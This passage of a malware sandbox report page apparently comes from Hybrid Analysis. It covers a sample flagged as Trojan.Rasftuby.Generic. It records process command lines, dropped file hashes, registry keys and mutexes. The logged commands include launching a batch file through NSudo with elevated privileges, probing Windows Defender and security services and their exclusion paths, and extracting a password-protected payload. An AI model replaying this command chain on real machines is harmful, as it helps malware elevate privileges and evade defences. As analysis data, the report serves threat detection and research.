\"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00001656","uid":"00000000-00008136"},{"pid":6880,"ppid":1656,"name":"NSudoLG.exe","command_line":"NSudoLG -U:T -P:E -UseCurrentConsole \"%TEMP%\\7e5cy7w4O.bat\" any_word","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","normalized_path":"%TEMP%\\saked\\NSudoLG.exe","parent_uid":"00000000-00001656","uid":"00000000-00006880"},{"pid":6604,"ppid":6880,"name":"cmd.exe","command_line":"/c \"\"%TEMP%\\7e5cy7w4O.bat\" any_word \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006880","uid":"00000000-00006604"},{"pid":4692,"ppid":6604,"name":"nircmd.exe","command_line":"nircmd win min process \"cmd.exe\"","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","normalized_path":"%TEMP%\\saked\\nircmd.exe","parent_uid":"00000000-00006604","uid":"00000000-00004692"},{"pid":4440,"ppid":6604,"name":"chcp.com","command_line":"chcp 65001","sha256":"c5d29fd4a61366c3f1dcbf5066254de119ca1cf743e1c637310b001ba86b2a45","normalized_path":"%WINDIR%\\system32\\chcp.com","parent_uid":"00000000-00006604","uid":"00000000-00004440"},{"pid":6740,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00006740"},{"pid":4800,"ppid":6604,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00004800"},{"pid":5844,"ppid":6604,"name":"mode.com","command_line":"Mode 79,49","sha256":"82bcc86e5e296647f69a0d56bca8516e444baa590e4bc207cc1bd9eb3909c9a8","normalized_path":"%WINDIR%\\system32\\mode.com","parent_uid":"00000000-00006604","uid":"00000000-00005844"},{"pid":7308,"ppid":6604,"name":"cmd.exe","command_line":"/c ver","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006604","uid":"00000000-00007308"},{"pid":4784,"ppid":6604,"name":"find.exe","command_line":"find /i \"0x0\"","sha256":"794b46b2613cb208760e69ea964a649d28fe9acd68110bec08a5ca557014b68a","normalized_path":"%WINDIR%\\system32\\find.exe","parent_uid":"00000000-00006604","uid":"00000000-00004784"},{"pid":4724,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00004724"},{"pid":6092,"ppid":6604,"name":"cmd.exe","command_line":"/c tasklist","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006604","uid":"00000000-00006092"},{"pid":1376,"ppid":6092,"name":"tasklist.exe","command_line":"","sha256":"d0de02e013574b1c6c940a7fb00c671b364d02e36c024ccba5ab9c3904e58d1e","normalized_path":"%WINDIR%\\system32\\tasklist.exe","parent_uid":"00000000-00006092","uid":"00000000-00001376"},{"pid":4868,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WinDefend\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00004868"},{"pid":6836,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MDCoreSvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00006836"},{"pid":7016,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdNisSvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00007016"},{"pid":4320,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\Sense\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00004320"},{"pid":5096,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\wscsvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00005096"},{"pid":5024,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SgrmBroker\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00005024"},{"pid":5164,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SecurityHealthService\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00005164"},{"pid":7200,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\webthreatdefsvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00007200"},{"pid":4836,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\webthreatdefusersvc\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00004836"},{"pid":7364,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdNisDrv\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00007364"},{"pid":7312,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdBoot\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00007312"},{"pid":1952,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\WdFilter\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00001952"},{"pid":2700,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\SgrmAgent\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00002700"},{"pid":3388,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MsSecWfp\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00003388"},{"pid":1124,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MsSecFlt\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00001124"},{"pid":6704,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\System\\CurrentControlSet\\Services\\MsSecCore\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00006704"},{"pid":3964,"ppid":6604,"name":"cmd.exe","command_line":"/S /D /c\" ver \"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00006604","uid":"00000000-00003964"},{"pid":5944,"ppid":6604,"name":"findstr.exe","command_line":"findstr /c:\"6.1.7601\"","sha256":"b39ef1855b0c96f67f855f6ab5a1f685b094d473d908ccabed487bc0374e4001","normalized_path":"%WINDIR%\\system32\\findstr.exe","parent_uid":"00000000-00006604","uid":"00000000-00005944"},{"pid":6864,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\" /v \"ProductName\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00006864"},{"pid":6916,"ppid":6604,"name":"find.exe","command_line":"find /i \"Windows 7\"","sha256":"794b46b2613cb208760e69ea964a649d28fe9acd68110bec08a5ca557014b68a","normalized_path":"%WINDIR%\\system32\\find.exe","parent_uid":"00000000-00006604","uid":"00000000-00006916"},{"pid":5036,"ppid":6604,"name":"reg.exe","command_line":"reg query HKLM\\System\\CurrentControlset\\Services\\WdFilter","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00005036"},{"pid":7376,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows Defender\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00007376"},{"pid":8016,"ppid":6604,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows Defender\\Exclusions\\Paths\"","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006604","uid":"00000000-00008016"},{"pid":5520,"ppid":6604,"name":"find.exe","command_line":"find /i \"C:\\\"","sha256":"794b46b2613cb208760e69ea964a649d28fe9acd68110bec08a5ca557014b68a","normalized_path":"%WINDIR%\\system32\\find.exe","parent_uid":"00000000-00006604","uid":"00000000-00005520"},{"pid":6000,"ppid":6604,"name":"7z.exe","command_line":"7z x -aoa -bso0 -bsp1 \"same.zip\" -p\"stucha\" \"mika.exe\"","sha256":"cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567","normalized_path":"%TEMP%\\saked\\7z.exe","parent_uid":"00000000-00006604","uid":"00000000-00006000"},{"pid":6300,"ppid":6604,"name":"mika.exe","command_line":"/CurrentDiskSize","sha256":"c0fbb3672a2622addf8fdabfde1ad85dba4804365ebbd4d5cfd50e0d3cf0c9e4","normalized_path":"%TEMP%\\saked\\mika.exe","parent_uid":"00000000-00006604","uid":"00000000-00006300"}],"all_imported_dlls":["pcacli.dll","setupapi.dll","wtsapi32.dll","ureg.dll","wbemcomn.dll","GdiPlus.dll","riched20.dll","msctf.dll","tiptsf.dll","ntmarta.dll","WinTypes.dll","dbghelp.dll","wbemprox.dll","profapi.dll","KernelBase.dll","sechost.dll","VxSSL64.dll","comdlg32.dll","wmiutils.dll","sspicli.dll","rsaenh.dll","winmm.dll","psapi.dll","userenv.dll","winsta.dll","ntdll.dll","apphelp.dll","winmmbase.dll","netutils.dll","kernel.appcore.dll","bcryptprimitives.dll","uxtheme.dll","edputil.dll","cmdext.dll","urlmon.dll","wbemsvc.dll","wow64.dll","combase.dll","msvcrt.dll","cryptsp.dll","ulib.dll","srvcli.dll","rpcrt4.dll","cldapi.dll","mpr.dll","win32u.dll","shlwapi.dll","dwmapi.dll","usp10.dll","comctl32.dll","powrprof.dll","Windows.StateRepositoryPS.dll","msIso.dll","wow64win.dll","CoreMessaging.dll","imagehlp.dll","fastprox.dll","oleaut32.dll","msvcp_win.dll","gdi32full.dll","VxSSL32.dll","ws2_32.dll","msls31.dll","SHCore.dll","WindowsCodecs.dll","ucrtbase.dll","gdi32.dll","fltLib.dll","version.dll","framedynos.dll","user32.dll","advapi32.dll","shell32.dll","windows.storage.dll","CoreUIComponents.dll","aepic.dll","propsys.dll","fsutilext.dll","wow64cpu.dll","kernel32.dll","cryptbase.dll","imm32.dll","ole32.dll","clbcatq.dll","TextInputFramework.dll","iertutil.dll","sfc_os.dll","bcrypt.dll","cfgmgr32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"7e5cy7w4O.bat","sha256":"1ccf9524c2bf36e514a47afb4bca3936dae08ffc2d3801256595c12d5286cc25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"7z.exe","sha256":"cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"cecho.exe","sha256":"5c1211559dda10592cfedd57681f18f4a702410816d36eda95aee6c74e3c6a47","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"mika.exe","sha256":"c0fbb3672a2622addf8fdabfde1ad85dba4804365ebbd4d5cfd50e0d3cf0c9e4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"same.zip","sha256":"149be3ee5a45e74e7dac3019016d18ecbf68c787241ca7d5fe7ddeef8f4b7bc5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"NSudoLG.exe","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"nircmd.exe","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\__tmp_rar_sfx_access_check_907704968","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\7e5cy7w4O.bat","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"C:\\saked\\7z.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\SAKED\\7Z.EXE","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\7z.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\cecho.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\nircmd.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\NSudoLG.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\same.zip","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"C:\\saked","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"path":"%TEMP%\\saked\\mika.exe","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\THEMES\\PERSONALIZE\\","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:2668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Local\\SM0:2668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"SM0:2668:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Local\\SM0:2668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"SM0:2668:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"SM0:1376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DBWinMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"DBWinMutex","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"name":"Local\\SM0:6300:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]}]}},"report_ids":{"sandbox_job_ids":["69673bc12fb4422c7500f566"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Rasftuby.Generic Sample 9c56898b035c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 9c56898b035c…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 11 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Rasftuby.Generic Sample 9c56898b035c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 9c56898b035c…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 11 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Rasftuby.Generic Sample 9c56898b035c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 9c56898b035c…. Malware family: Trojan.Rasftuby.Generic. Threat score 100/100. 12/27 AV engines flagged this file. 11 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6a","11",{}]]